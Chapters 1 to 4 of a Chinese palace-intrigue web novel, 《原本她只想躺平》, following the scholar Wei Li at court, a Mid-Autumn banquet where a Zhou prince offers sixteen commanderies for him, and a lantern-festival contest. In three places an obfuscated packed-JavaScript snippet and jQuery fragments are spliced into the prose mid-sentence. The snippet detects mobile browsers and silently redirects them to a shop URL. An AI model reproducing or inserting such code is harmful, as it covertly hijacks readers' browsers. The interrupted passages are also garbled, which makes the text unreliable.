《原本她只想躺平》 1. 第 1 章 魏离醒来之时已是日上三竿,真的是好久没有这样舒坦地睡上一觉了,他起身将仍旧倔强闪烁着的油灯熄灭。 又忘了熄灯,耗费了许多灯油,他皱了皱眉,下一刻就听见外头的喧闹声。 “太子哥哥,魏先生当时为你解围也不是让你来天天打扰的……,欸,慢点……太子哥哥!”院外清阳公主脆生生的嗓音把前些天淮阳王送来的金丝雀儿吓得直扑腾。 “见过太子殿下、公主殿下。”魏离稍微整理了微皱的衣衫迎了出去。 “魏……魏先生不必多礼。”清阳公主看了他一眼便将头低下,落后太子半步,仔细地回想起今天的妆容是否有什么差错…… “免礼。魏先生,你听说了吧,本宫的准太子妃……的尸体找回来了。”李焕叹了口气,对上魏离刚睡醒却充满深邃水色的眼睛,“可惜了如花似玉的美人儿,遇上这山间野火。”落得个尸骨不全。 “苏尚书家的大小姐么。”魏离愣了一下,转而微笑,“可惜了,苏尚书家可再没嫡长女了……但冯尚书家倒还有个千娇万宠的大小姐……” 李焕当下就明白他的意思,“能让准太子妃有生命之忧的家族,在官场上又能有什么好作为。” 他可不打算用太子妃的位置换来一身晦气,至于冯尚书家的爱女……如果真能用这太子妃的位置换一个刑部尚书的支持,那可是稳赚不赔的买卖。 “太子殿下慎言。”魏离抬眼便看到了在后头偷看的清阳,“草民不过是觉着冯家大小姐天真烂漫却不失大家礼仪,也不似一般女子见识浅薄……”言尽于此了。 他笑着错开眼,正如预料的一般对上直发愣的清阳公主。 听了宫女的指点只用一根素白的玉簪挽起头发的清阳忽地对上那双明亮的眼睛,紧张得绞紧了手中的帕子,魏先生的眼睛真亮啊,好似装着晨起时闪耀的启明星……这冯家小姐,真的这么好么……比之于她,又如何呢…… “本宫明白魏先生的意思,但冯尚书……他可是刑部尚书,父皇见不得的就是继承人跟朝中实权大员走的近,更别提联姻了……更何况,既然是千娇百宠出来的,那冯尚书又哪里舍得让爱女嫁入东宫?” “如此不归可就放心了,待我明年春闱中了进士,再努力个几年,可就准备上冯家了……”魏离笑着将刚烧的热水冲入准备好的茶叶当中,干瘪蜷缩的茶叶在热水中打着旋伸展开来。 “日后先生成就一番事业,本宫必定替先生求父皇赐婚。”李焕接过他倒好的茶水,仔细留意着他的表情。 “那魏离先谢过太子殿下了。” —————— 三日后,李焕不可思议地看着手中的诏书,魏离果倒真是有点意思……日后若是不生二心,倒值得一用,若是生了二心…… “疑人不用,用人不疑啊殿下。”魏离放下手中的书本,弯眉一笑,“用还是不用全凭殿下心意。” “有此贤士,焕自当好好珍惜。”李焕将腰间的羊脂白玉蟠龙玉佩解下交至魏离手中,“想必先生也不会辜负本宫一番心意的。” “自然。”魏离收起明媚的笑容,“殿下应当是知晓草民心志的。” “那先生看清阳如何?”李焕愣了一下,他还真不知道这样天纵之才的人心里想的是什么,不过只要是他的人,想的是什么都无所谓了。 “清阳公主甚得盛宠……但心性并非上佳,如若日后嫁人……只能盼着殿下替她寻一门好亲事,莫要让她一意孤行,此次陛下赐婚冯大小姐,殿下想必也是明白个中因由的,此时心悦之人是不归,倘若日后……是宁国公世子、杨小将军等人该是如何。”以清阳公主这见一个爱一个,表面委婉私下善妒的性子,脑子一时不清醒,作为太子的亲妹妹倒戈也不是什么不可预料的情况。 “那可就有劳先生替我管好这个不成器的妹妹了,先生是有这个能力的吧。”李焕能坐稳这么多年的太子,自然明白清阳公主的隐害,可到底是自己的亲妹妹,哪能说下狠手做什么,以魏离的手段应当足以让她死心塌地地跟着。 “草民可没那么大的本事能将公主殿下迷得神魂颠倒,总会有意外的时候。”魏离将玉佩系于腰间,“但倘若到了当真需要了断的时候,殿下想必也是下不了手,只能说尽力而为,不可不防。” “本宫知道。先不提清阳,倒是我那三弟,近日有些不同以往,自当日苏柳玉失踪的消息传来之后他便似乎放弃了储位之争,倒是流连花丛之中醉生梦死,如今苏柳玉香消玉殒的消息传得满城风雨,他反倒是振作起来了,近日向父皇请求分配政务,处理得也是一板一眼丝毫挑不出错处,昨日还向父皇领了迎接周朝使臣的差使……” 无用之功。魏离压下胃里的翻腾,“复仇。“ “复仇?”李焕蹙紧了眉头,“为苏柳玉?一个死去的小姐而已,他若喜欢,满京城里,多的是原因入他那淮阳王府的。” “杨柳岸边初见佳人,悬山寺内再见倾心,却被殿下抢先一步聘为正妃,这不是殿下心知肚明的事情么?”毕竟是殿下领着他们偶遇的,魏离笑笑,“如今心上人香消玉殒,生前受尽虐待,若是殿下……可忍得下?” “莫非他连本宫也恨上了?”为了一个女子,真是可笑,李焕不屑地回想起自己那个蠢弟弟的表情。 “自然。殿下聘了淮阳王的心上人,却没能护住她,甚至在得知她死讯后没几天就被赐婚冯大小姐……只要有心人煽动,兄弟反目自相残杀就在眼前。”何况,帝王之家又怎么会谈兄弟亲情? “先生可有什么法子化解?”兄弟反目……连兄弟关系也理不清的人如何继承得大统,虽然他很想这个弟弟出什么意外,但不能是经由他手。 “追查苏柳玉的死因,弄清楚凶手,并且……给予苏家教训。最好是找淮阳王一起探查,至于出力……给他一个尽心尽力的印象,剩下的让淮阳王自己动手便可。” “印象”……?李焕思索了一会儿,“本宫明白了。” 真的明白了么……魏离忍不住弯了下唇角,天资尚不足,再好的命数也成不了大事。 “先生笑什么?”李焕一时被眼前的美色晃了眼,魏离倒真是生的俊俏。 “草民想起一些高兴的事。”魏离扯了手边的绣球花朵儿,“命里有时终须有,没有也莫强求……殿下可相信命数?” “命数不过是名不正言不顺的无勇之人安慰自己的东西,对于胜者无非锦上添花罢了。”李焕眼中流出一丝不屑,“先生相信这种虚无缥缈的东西?” “若是信,殿下可就见不着不归这出身卑贱父母双亡受人轻视之人了。”魏离笑着闭上眼,“我这微薄之躯,可没有见着殿下的机会。” 令人窒息的痛苦他从未忘记,死亡临在眼前的绝望,连一丝生的希望也需要宝贵的东西来交换。 他深吸了一口气,鼻尖的气息中带着丁香的虚渺,没有一丝血腥与腐泥的气味。 “谈命数的话,我那三弟可是深信不疑。自从他母家远房表舅上了悬山寺,六爻山言,他深信不疑。若现今有个尘外人与他说苏柳玉命数未尽,想必他会去掘了那新坟头将尸体拿出来供着看。”李焕伸手碰了黄铜鸟笼,“这雀儿是他送给你的吧。倒是有趣,他当年向父皇讨了说是要送给心上人的,父皇可高兴了许久。” “大抵是苏柳玉香消玉殒,留着也是徒增伤悲罢。”魏离犹豫了一瞬,“倒也奇怪,淮阳王初见不归时曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588156|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不归肖似故人,莫不是苏家大小姐?” “许是思念过度,本宫先前也见过苏柳玉几面,温温婉婉,若真要谈相似,倒是有一点,先生与她,都是世间难得的美人。”李焕笑了,他是没看出什么相似,这魏离确是难得一遇的美男子,不怪清阳公主被吸引,若是女儿身……他倒是也想有一个知书达理国色天香的美人作伴,,毕竟他当初愿意和苏柳玉定下亲事,也是有一部分原因源自于她的知书达理、聪慧动人。 可惜了……本该是他李焕的左膀右臂贤妻良友。 那都是过去的事了,他收回思绪,认真打量着魏离,一个人换云城十六郡,真的只赚不赔吗,这位先生到底有何过人之处无可替代? 不过是解元罢了,我大宁找不出千个百个,一个总是有的。若拿下这云城十六郡……这储君之位就必定稳稳当当。可是周朝真有这么好心? 浅浅的花香渗入他鼻尖,若是无可替代,也便只有这容貌举世无双,但单这一副皮囊,真有这样的价值? “殿下?”魏离唤了他一声,这样赤裸裸的打量货物的眼光……真熟悉啊……周朝来人了吧?试图用几座城池来换他一个书生呢? 他倒是有些期待了。 “若有一人值十六郡,本宫是卖了他还是放弃十六郡呢?”李焕盯着他的眼睛,企图从中找出一点他没发现的东西。 “值十六郡的人,必有胜于十六郡的地方。这个道理想必殿下也是知道的。”魏离与他对视,丝毫没有躲闪的意味,“或者……他本身就能收取十六郡。” 李焕心中一惊,莽撞了,魏离必是已经知晓他的意味。 一旁的雀儿啄着外头离它最近的花儿,一下一下的,将新吐蕊的花儿弄得支离破碎。 —————— 清冷的月光一瞬间倾逝而下,惊走了花园躺椅上的梦魇。 魏离将惊掉的书本拾起,浓厚的血腥味、冰冷的腐泥似乎要将他深埋。眼中映出了桂花小小的花蕊,淡淡的清香轻轻安抚着他紧绷的神经,果然还是忘不掉那刻进灵魂深处的绝望疼痛。他揉了揉眉心,已经许久没有被魇着了。 “魏先生,太子殿下请您共赏中秋明月。”门外的小童敲响了梨花木做的门扇,清脆的敲击声狠狠地敲击在魏离的思绪上。 “中秋……”他起身打开门,正巧碰上刚要走进月牙门的少女。 “不归见过清阳公主。”他规规矩矩地行了个礼,就算不抬头,他也知晓清阳公主脸上的笑意嫣然,真的是,很天真的小公主呢。 “魏先生请起,”她亲手将他扶起,“太子哥哥请您去的不是普通的中秋夜宴,来的还有苏大人一家,大抵是想要拉拢先生吧。” “不归不过寻常书生,哪里经得起太子殿下与陛下如此器重。”魏离低头看着清阳公主发髻上边粘着的天竺桂花瓣儿,低低的笑了,伸手将那几丝花瓣取下,如愿惹得清阳面红耳赤。 “先生……不可妄自菲薄……现今这苏城中可是不少……不少达官贵人想要通过我们来接触您呢,就算是……苏氏的女儿也拜倒在先生的才华之下呢。”清阳红着脸绞了绞手中的水仙帕子,思索了一下子,“先生明日有空吗,清阳最近在读庄子先贤的《逍遥游》,有些许不明白,先生可以替我解惑一二吗?” 魏离低声笑了:”当然可以,殿下的要求不归怎么会拒绝。” “真的吗?”清涟激动地抬起头,正撞进他眼中深邃的一片汪洋,她恍了一下,“多谢先生。” “臣本该做的。”魏离笑着,“殿下也一同赴会吗?” “当……当然。”清阳红着脸,“清阳想与先生同行。” “荣幸之至。” ? 2. 第 2 章 不得不说,东宫确实比一般的王府气派许多,雕梁画栋,许是因为中秋灯节,画廊上坠着许多亮眼的小灯笼,其中烛火嫣红跳动,远看竟让人生出眼前落下一片星海的错觉。 明亮的灯火成片连在一起倒也挺像一片无尽火海……魏离有一瞬间的恍惚,冰冷的寒气自脚底直冲全身。他在袖子底下掐了自己一把,疼痛的刺激带来一瞬的清明。 “先生来了。”清阳公主紧张地捏紧了手中的帕子,手上的玉镯子叮当作响,魏先生……他会喜欢这样的打扮吗。 梨花面、白玉簪和浅青色的褶页裙,读书人都喜欢清雅么。魏离放开袖下的手,浅浅一笑:“见过殿下。” “父皇……也来了,母后悄悄告诉过我,大概是要给先生一份差事。不过……大抵不是什么简单的差事。”清阳紧紧盯着他,母后还说……魏离来路不明,横空出世,占了苏家大少爷本该得的解元,若不是太子哥哥抢先一步给予庇护,只怕早已不明不白消失。 “谢公主提点。”魏离的心里已经猜到七八分了,秋季棘手的符合身份的差事……只有那一件。 “早就听闻大宁中秋夜宴灯火通明甚是热闹,我这赶着来累倒了八匹良驹,今日一见,与我周朝也无二致嘛。”二人身后传来青年的清朗笑声。 魏离心下一滞,“七殿下提前光临也未提前知会一声,这般倒显得我大宁仓促了。” “哪来的……七殿下……”她的七弟弟不是早就夭折……清阳愣了一会子,转身让身边的婢子去知会他人。 周朝的七皇子来了。 “倒是我的不是了。”紫衣少年立在马上,眉间被满街灯火映出一丝暖色,“你就是那个乡野出身抢了苏家解元,一篇《顾此论》一夜之间名动大宁的魏不归?倒也真是才色无双,到我大周来,我让父皇给你个吏部尚书当当,如何?” “殿下莫要打趣在下,名不见经传的小人物罢了。”火光与月光交杂,真真像极了那个晚上,那个人也是这样立在马上,冷眼旁观罢了。 “先生莫要妄自菲薄,若不做这尚书,我也可让你一个侯位,就唤平宁侯……”郁恒京还要再说,门后一个颀长身影将魏离推到身后,他眯起狭长的丹凤眼,不悦地看向来人,“你们大宁不愿启贤,弄个这个试那个试的,还不许我求贤若渴?” “何必咄咄逼人,不就是当年游历经过周朝时赢了你一箭,在此为难我的先生做什么。”李瀛抬头盯着他,“如此咽不下这口气,过两日再与你比试一番便是。” “你的先生?”郁恒京咬牙切齿地从马上下来,“明日我便与他结拜,做你的师叔去。” 魏离看了看眼前身影,垂眸似是想起来什么不好的事情,一小片阴影沉落在眼底。 “玄山寺一别,先生可还记得在下。”李瀛回头正看到他低头敛眉的样子。 “多谢殿下的雀儿。”魏离没有多说,“既殿下已来,不归先行去拜见太子殿下了。” “先生……”李瀛望着他远去的背影,一时语塞,先前没有话讲,现今依旧没有话说。 “看不出来啊,也有你李瀛拿不下的人,我倒要看看这太子如何手段能收得这等人物。”郁恒京翻身下马,“魏离,魏先生……我此来就是为他而来。” 李瀛转过身来,“不要打他的主意。” “你大宁不仅任人唯亲藐视人才,此处不能实现他的抱负,何不放他出去,你们的官场你比我更清楚。”郁恒京盯着远处衣袂消失的拐角,“非要死撑着扯住人家,我周朝更能发挥他的能力不是吗?云城十六郡,换一个魏离,你们只赚不亏。如何?” “不如何。”李瀛敛起一腔心思,“进去吧,我父皇母后都在里面,应该早得到消息了。” “好好考虑,一个魏离换你们一直想要收复的失地,不费一兵一卒,不好吗?你不愿意,你的皇兄、你的父皇未必不愿意。”郁恒京嗤笑一声,“到时候,你不愿意也得愿意。” “……总会有办法的。”他松开紧握的手,“如果他不愿意,他自会有办法的。”如此轻易受人摆布,又如何值的云城十六郡的身价呢? 郁恒京一下哽住,忘记了魏离本身也是极为难缠的人物…… 真的是一样的不让人省心。 郁恒京冷哼一声,跨进了灯火通明的太子府。 —————— 清阳小步走在魏离前头,急匆匆地乍然发现带错路了,竟将他带来偏僻的内院小路上,猛的脚步一停,转身正撞进魏离怀中。 “殿下小心。”魏离扶住她站稳。 “先生……”清阳的脸一下子通红炸起,“清阳带错路了……” “没事的殿下。”他弯腰把她转身撞掉的香囊拾起递到她手中,“迷迷糊糊的殿下也很可爱。” 清阳的脑子里突然放起了烟花,一下一下的炸着,迷迷糊糊的,好像飞起来了,“先生……”先生说可爱……可爱! “殿下?继续带路吧。”魏离笑着看她满脸通红。 这一看又把她头看低下了,她使劲掐了一下袖中的手心,细微的疼痛好不容易给她的魂拉回来一点。 “好……好的……”她小步紧张地向前走着。 好不容易走到主厅,又看见严肃的三哥杵在门口紧紧盯着她看。 “见过淮阳王。”魏离恭恭敬敬地行了个全礼,让人挑不出错处。 “免礼吧,你果然是有办法的。”李瀛看了一会面上红意还未消退的清阳,“先生进去吧,有大事商议,清阳就先在外面等着吧。” “我不能进去吗三哥,我也想听听……”清阳不甘心地绞了绞手中的手帕。 “乖,你在外面等着,一会三哥带你出去看灯会。” “那到时候先生可以一起吗?”清阳抬头眼巴巴地看着李瀛。 “如果先生愿意的话。” “荣幸之至。”魏离对着李瀛点了一下头,朝厅内走去。 —————— 李焕与郁恒京分坐左右,主位上是年过不惑的大宁皇帝。 “拜见陛下、太子殿下、七殿下,陛下万岁万岁万万岁。”宴席之上的窃窃私语声乍然停止,数道打量的目光落在魏离的身上。 今年夺了苏家内定解元、名动天下的黑马,魏离魏不归。 “起来吧。”大宁的文帝正值壮年,依稀可见当年的英姿,“就坐大周七皇子身边。” “谢陛下。”魏离顶着众人哗然,规规矩矩地落座,意料之中,一个新晋的解元哪里有云城十六郡重要,且看清阳公主如何发挥吧。 “先生真的不再考虑一下做我周朝的平宁侯?我周朝唯一的公主平宁,正待字闺中,也是惊才绝艳之辈,见过先生的画像之后可是念念不忘,读了先生的文章更是立下誓愿,此生只嫁能写出这等文章之辈。”郁恒京亲手为他斟酒。 “不归生在这片土地上,自然是为这片土地竭尽郎才。”魏离举起酒杯,一饮而尽。 “倒是良才。”郁恒京冷哼一声,“白费我一烦心思远赴千里。” “殿下来时,难道公主殿下未曾提醒过您,此行本就是白费功夫。” “凡事未有不可为,云城十六郡不够,那就再加上去年秋季所得的云边三城。” 此言一出众人哗然。 文帝敛起脸上的笑意,“殿下的意思,可是周朝的意思?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588157|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“既然我敢说出口,那必定是已经商议过的。”郁恒京笑了,“这样的筹码,难道还不值得?” 文帝沉默了,一个解元换云城十六郡加上云边三城确实划算,可一个解元,如何值得这么多,周朝不可能做亏本买卖,除非……魏离身上有什么东西值得他们这样迫切不管不顾地提出筹码,或者……他本身就能取下云城十六郡,甚至能对周朝产生威胁,但他至少现在只是一个读书人而已。 魏离自顾自地把玩着手边的玉穗子,仿佛他们在讨论的交易物品不是自己。 清阳在屏风后边听着这桩令人咂舌的交易,云城十六郡,就连她也明白这筹码有多重。 云城十六郡本身易守难攻,土产丰饶,商线驿站多设,早些年先帝在位时,当时的大将军携军献城叛逃,周朝不费一兵一卒白得云城十六郡,此后大宁多次攻打收复不成甚至反丢云边五城,多方谈判周朝也不肯松口归还,早已成为大宁的执念。 如今如此大的筹码换一个魏离……虽说其心可疑,但难保父皇皇兄不会同意。可是……她不希望父皇同意这桩交易。 “如若这般轻易将我国栋梁当做交易的物品,恐怕难以面对天下读书人的口舌,日后再想招才纳贤,恐怕难上加难。”李瀛最先打破沉默,无论如何魏离是不能离开大宁的,如果苏小姐没有死,那他一定知道苏小姐在哪。 文帝眉头微皱,面色不大好看。 “云城十六郡早就是大宁的心头刺了吧,这么长的拉锯战,你们难道不想结束?又或者说,你们觉得魏离重于十六郡?”郁恒京嗤笑一声,“我本就是为我的好妹妹求亲而来,若不是她非魏离不嫁,我也不必千里迢迢跑到这来。至于云城十六郡来换她一个心上人,想必你们也知道我父皇为她一个生日以减税五成的代价换一匹鲛锦的事情,这次不过是十六郡而已。” “你的意思是……和亲?”李焕瞧了一眼魏离,他微微低头,看不清表情。 “不是和亲,是交换,你们收下云城十六郡,从此魏离与你们、与大宁再无瓜葛,只属于我周朝。”郁恒京不屑地看向李焕,“对你们来说他并非无可替代,天下读书人有闲能者不止于他。” 魏离放下手中的穗子,抬眼正好对上李瀛的眼睛,再往后,是屏风后面清阳公主的眼睛。 文帝看向自入席到现在一字未吐的当事人,魏离的才德的确不是无可替代……至少现在不是。 “单凭魏先生的才学未必能取得上云城十六郡,但如若加上先生的武艺兵法,未必不能取下失地。”李瀛咬咬牙,“儿臣的武艺便是魏先生所授,当时儿臣在周游途中与先生相识与山野,但儿臣慢大哥一步,没能先赢得先生的支持。” “此事延后再议,本就是中秋佳宴,大家畅饮尽兴便好。”文帝一笑也不打算继续这个话题,将此事暂且按下。 郁恒京面色不虞,“为了舍妹的心愿,我朝什么都做的出来,还望大宁好好考虑,时间还长着。” “娇宠纵放,从来都不应该是一国公主的品性,何况平宁公主深居简出,连你都没能见上几面,又如何作出一副兄妹情深的模样?鲛锦一事本就是你们私下与金国立下的交易披上的外衣罢了。此次七殿下又是为了什么扯上十六郡作为筹码掩护?”魏离乍然出声,“同样的戏码上演两次,可就不好看了。” “先生如何得出这结论?莫须有的东西也值得冒险铺上台面?”郁恒京停下手中的动作,冷冷地看向他。 “金国与周朝接壤之地自那起商队骤增,实不相瞒,不归早些时候没有银钱进都赴考,也去那积攒了些钱财。撞见了金国的军商。”他似笑非笑地与郁恒京相视,“您猜,他与我说了什么?” 3. 第 3 章 魏离清俊的面容在这一刻与几年前的少女容颜一瞬间的重合让他有些失神。所幸随行而来的女侍及时开口,“捕风捉影罢了,先生可有证明那人真的是金国军商?是骗子也未可知。” “那便是骗子吧。”魏离垂下眼,随意地摆弄着桌前的果子。 见他这副模样,那女侍一时噎住,漂亮的眉眼一时无奈地松垮下来。郁恒京将手中的清酒一饮而尽,“话就到这吧,还希望大宁能好好考虑,不要让我们失望。我也不在这宴会上与你们虚与委蛇,听闻大宁灯会天下一绝,魏先生可愿同游?” “草民有约了,多谢殿下美意。”魏离拱手。 “呵。”郁恒京冷哼一声,甩袖离开,那女侍紧随其后,在出大门时她蓦地回头,正对上魏离折扇掩面似笑非笑的眼神。 —————— 宴会结束后的街道上摆满了小摊、挤满了人群,若不是有府兵在维持秩序,恐怕这几条街巷早就堵得水泄不通了。 魏离与李瀛一左一右地将清阳护在中间,三人在人群中随波逐流,清阳提着精致的兔子灯步调也随着周围的人声鼎沸变得活泼起来,“三哥,我想要那个彩头,那个玉穗子真的好漂亮,是兔子形状的呢!”她指向街边的摊子,眼中映着灯火,亮晶晶的。 那是一个投壶的摊子,周边上围满了公子小姐,炫目的彩灯下缀着各式各样的彩头,其中最为打眼的就是那个玉兔抱金桂的玉穗子,倒也不是什么名贵的羊脂白玉,只是普通料子,但胜在造型精巧可爱。 “人群过于拥挤,殿下若是喜欢,可以上到隔壁茶楼上稍等片刻,那个位子刚好可以看尽夜市灯火,不归为殿下取来。”魏离抬手指向边上小茶馆二楼雅间,明亮的桃花眼泛动着水光,看的清阳红了脸,难怪话本子上都说,爱的人眼盛夜色如云端暝海。她讷讷地应了一声好。 李瀛也回头看他,正好对上不远处人群中死盯着他们的七皇子,“先生注意安全,夜市上人多纷杂。” “多谢三殿下关心。”魏离又如何不知道郁恒京一行人正在身后呢。自他们一行人出现在灯会上,就早已被各方人马看在眼中了,当然,其中最炽热、最明目张胆的还是这个远道而来的七皇子。 不过,无所谓,注意到自己的人越多越好。 他待李瀛与清阳进入茶馆,转头冲郁恒京一笑,转瞬即逝,如果不是郁恒京对自己足够自信,他可能会像周围的侍从一样觉得是一瞬间被灯光晃了眼的幻觉。还不等他走上前去,魏离已经走向那个被各家公子小姐围住的投壶摊子了。 摊子边上全是熟人,苏家仅剩的两位小姐正缠着那个被他抢了内定解元名额的哥哥要那个玉穗子,冯家的大公子也带着自家妹子在摊子上跃跃欲试,至于汪家还是如从前一般…… “是魏解元。”冯怀玉最先发现他。这下聚在玉穗子上的目光全集中在他和苏延的身上,他拱手,“没想到这小小一个摊子上竟能遇上几位公子小姐,真是有缘。” 苏思云红着脸抢先开口:“先生也来这讨个好彩头吗?这投壶的摊子可是灯会的重头戏,先生想必也是第一次来吧……” 苏思妍瞪了她一眼,心下有些懊恼,为何让妹妹抢了先。一旁的苏延一口郁气堵在心头差点喷出一口血来,恨铁不成钢地看着身边两个被魏离迷得五迷三道的妹妹,这两个嫡女倒给继室养的还不如先前死的那个。 “是第一次来,我是乡下出身,从未来过都城。”魏离礼貌地点了点头,“各位聚在此处也是为了那个白玉穗子?” “既然魏解元也是为了这个穗子,那我就不要了。”冯怀玉扯了扯自家哥哥的衣袖向后退了两步。 “怀玉你不是很喜欢……”我都打算和苏延抢了,冯远委屈地看向掐了他一把阻止他继续说下去的妹妹。 “我现在不喜欢了。”冯怀玉把手上的花灯塞给他,“我的灯要灭了。” 冯远不明所以,灯里的蜡烛明明还有很长一截。还没来得及等他再问,苏延把两个妹妹赶到身后去,正对上魏离,“虽说魏先生是乡下来的,但这都城里也没有要照顾乡下人的道理,我家妹子也很喜欢这个穗子……” “既然如此那就来比试一场吧,”魏离收起手中的折扇,棱角分明的手腕在灯光的映照下泛着白皙的光芒,“想必今日不比这一场,我拿走这彩头苏公子也是不肯善罢甘休的。” “魏先生是要送给心上人吗,一步都让不得?”郁恒京眉眼含笑出现在人群里。 至此目前都城内除了皇子之外有点名气的俊俏公子都在这了,街边的少女们窃窃私语,今年的灯会真是这几年来出来的最值的了。 魏离粲然一笑,“总之是让不得的。” 苏思妍看的恨不得让哥哥把玉穗子直接让给他,但转念一想,如若真的是心上人怎么办,这不就成了给情敌送定情信物了吗?如此一想,她趁着苏思云没反应过来,对着苏延道:“兄长加油!” 苏延胸口堵着的那口气顺了不少。 小贩见各位公子小姐商量的差不多了,擦了擦额头的汗,“那就一人十枚箭矢,投中多者胜?” “不归没有异议。”魏离看向小贩,“老板说怎么来就怎么来。” “就照你说的来。”苏延恨恨看了他一眼,自从魏离来到京都一举成名,连带着围着他转的世家小姐都少了许多,不过他到底是乡下出身的平头百姓,论家世无论如何也高不过他去。 “大宁也不过如此嘛,在我们周朝只有闺阁小姐才会玩这种小把戏。”郁恒京状似遗憾地叹了口气,“还以为是什么有趣的比试呢。” 苏延面子上有些挂不住,魏离接过小贩手中的箭矢,“不过是街头小把戏,总要顾虑一下闺阁小姐和过路行人,总不好伤到人。” “先生说的是。”小贩满头虚汗,要不是京兆尹的要求,这灯会再赚钱,他也不来,接触这些达官贵人家的少爷小姐,个顶个的难伺候。 魏离和苏延是完全不一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588158|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的类型,一个清俊优雅,一双眼眸盛星海,一个张扬俊朗,少年人火热的青春气息正是最吸引人的时候。 “论容貌当然是魏解元更胜一筹,但是苏公子在马上肆意张扬的样子也十分抓我的心啊,”汪家大小姐与自家姐妹耳语起来,“不过魏解元的性子更适合当夫君,苏公子只适合当情郎……” 这耳语的声音一点也不小,郁恒京有些烦躁,难道就没人想当周朝的七皇子妃吗?他好歹也混了个文武双全,样貌堂堂……果然扯上魏离他就要永远压人一头。 “开始了开始了,哥,你看魏解元的手,我第一次见到这样美的手!”冯怀玉低声感叹,引得众人的目光都聚向魏离,那双不久前撰下名篇《顾此》的手在灯光下闪着莹白的光,修长的手指不似他温和的性子,充满着少年的棱角……很适合握剑的一双手。 苏延也顺着众人的目光看去,总觉得这双手有些似曾相识,但实在想不起来在哪见过,索性不想了,一心盯着他手中的竹矢。 因为是做给各家公子小姐玩的,这些竹矢并不锋利,也打磨的十分光滑,魏离轻轻摩挲着光滑的竹面,恍惚间回到了儿时与姐妹几个央着大哥学习投壶的日子,失神了一瞬,转而凌厉地投出,似是要击破那些一晃而过的幻象一般。 苏延攥紧了手中的箭矢,为什么他能一个不落空?他紧紧盯着魏离手中最后一支竹矢,竹矢破空而去,十无一空。他很清楚自己不能保证一个不空,但是不战而退一定会成为全城的笑柄。 “苏公子,请吧。”魏离看向他,习惯性地露出一个浅笑,虽然在苏延看来讽刺无比。 苏延硬着头皮掷出竹矢,到底也是硬撑着只空了一个,不算输的太难看,从牙缝中挤出一句,“是我输了。” “承让。”魏离接过小贩递来的玉穗子转身离开人群,抬头正对上清阳望向他那张充满笑容的脸庞,他回之一笑。 —————— 茶楼二层雅间的清阳脸一下炸红开来,李瀛为她续了一杯茶,“那么喜欢魏先生?” “喜欢,从大殿上父皇召见他起见的第一眼就喜欢。”清阳在自己的三哥面前倒是比在大哥面前放肆多了,“他的眼睛他的学识他的样貌他的性格……他唯一不好的地方也就只剩下家世了,等到他高中状元,我就请父皇赐婚。” 李瀛仔细盯着少女盛满绯红心思的眼眸,或许……这样维持下去也不错。 门外响起不轻不重的敲门声,“殿下,不归回来了。” 清阳急忙起身为他开门,被门槛绊了一跤险些扑入他怀中。 “殿下小心。”魏离险险扶住她,将玉穗子交到她手中。 分明只是普通的玉穗子,只要她想要,她的父皇皇兄会给她许多样式更精巧的、材质更珍贵的,只不过如今她只想要这一个,她紧紧握着手中的穗子,一如当年母妃教导的紧紧握住父皇的手一样。也许日后她会有更想要的东西,不过如今,珍宝在握。 ? 4. 第 4 章 为了招待远道而来的郁恒京,大宁的皇帝专门准备了好几场宴会,其中最为人津津乐道的就是琴诗雅会,据说鲜少露面的苏家三小姐苏烟罗会在雅会上献曲。 若说现在的魏离是无数少女的闺中惊梦,那苏烟罗就是无数少年的金屋阿娇,她天生一副江南柔语的嗓子,性子温柔小意不失大家闺秀的端庄,据说貌若天仙,一颦一笑都动人心神。 十一岁以一曲箜篌《高山流水》一举成名,还得过玄山寺住持批命:凤凰高飞,羽遗翠鸟。这句批词各家有各家的解读,但都不过命格华贵,运势兴旺的意思,也造成了苏家有女百家争求的景象。 魏离抬眼看向宴席中央的少女,苏烟罗一改先前轻纱掩面的习惯,大大方方将自己的面庞展现在众人眼前。 她也确实担得起绝色二字,一袭粉色褶间裙外罩白色长衫,眉如远山翠黛引着一双媚眼似一汪山泉惹人心弦,颇有些艳俗的芍药簪在她的头上也褪去了俗气,另添上一股风姿,恍若山间落下的花仙子。 她如今弹的是当朝太后所创的《济水》,在座的少年郎无不惊叹。 “不过如此。”郁恒京轻笑一声,引得周围的少年心有不满,但碍于他是使臣,倒也没说什么。 一曲毕,苏烟罗仙气飘飘地向众人行礼,回到苏延身边,苏延的虚荣心得到了巨大的满足,果然还是三妹妹最争气。 “我记得这首曲子最初是苏柳玉在编,怎么今日不见她来?”郁恒京盯着苏延背后的少女,“我记得大宁的太后只收过苏柳玉做弟子。” 魏离看着苏烟罗手中绞紧的帕子,心情愉悦了不少,连带着郁恒京都顺眼了。 